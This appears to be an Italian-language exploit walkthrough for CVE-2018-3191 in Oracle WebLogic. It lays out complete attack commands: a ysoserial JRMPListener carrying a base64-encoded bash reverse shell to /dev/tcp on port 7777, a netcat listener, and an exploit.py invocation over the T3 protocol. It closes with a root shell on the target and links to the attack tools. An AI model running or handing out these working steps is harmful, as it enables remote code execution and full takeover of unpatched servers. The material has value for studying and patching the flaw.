CVE-2018-3191

CVE-2018-3191 reverse shell IP locale: 172.16.38.1 Weblogic: 172.16.38.174:7001

1. Esecuzione locale java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'

Quindi esegui nc -lvv 7777

(1) Il comando bash, per evitare che i simboli speciali vengano sottoposti a escaping durante l'esecuzione di Runtime.getRuntime().exec(), è stato sottoposto a un'operazione di codifica/decodifica base64; il testo in chiaro è bash -i >& /dev/tcp/172.16.38.1/7777 0>&1 (2) Questa operazione mette in ascolto un JRMPListener in locale, riceve le richieste del weblogic attaccato ed esegue il comando di reverse shell bash specificato. (3) Nc resta in ascolto sulla porta 7777, in attesa della connessione di reverse shell bash dall'host weblogic. 2. Esecuzione python exploit.py 172.16.38.247 7001 weblogic-spring-jndi-10.3.6.0.jar 172.16.38.1 2222, sfruttando la vulnerabilità per indurre weblogic ad accedere al servizio RMI remoto ed eseguire il comando di reverse shell bash.

3. La porta in ascolto di nc riceve la bash di reverse shell con privilegi di root.

Strumenti necessari per l'attacco: ysoserial-master.jar // strumento di exploit per deserializzazione https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar weblogic-spring-jndi-10.3.6.0.jar // strumento di generazione del payload CVE-2018-3191 https://github.com/voidfyoo/CVE-2018-3191/releases exploit.py // strumento di invio del protocollo t3 di weblogic, con payload CVE-2018-3191 integrato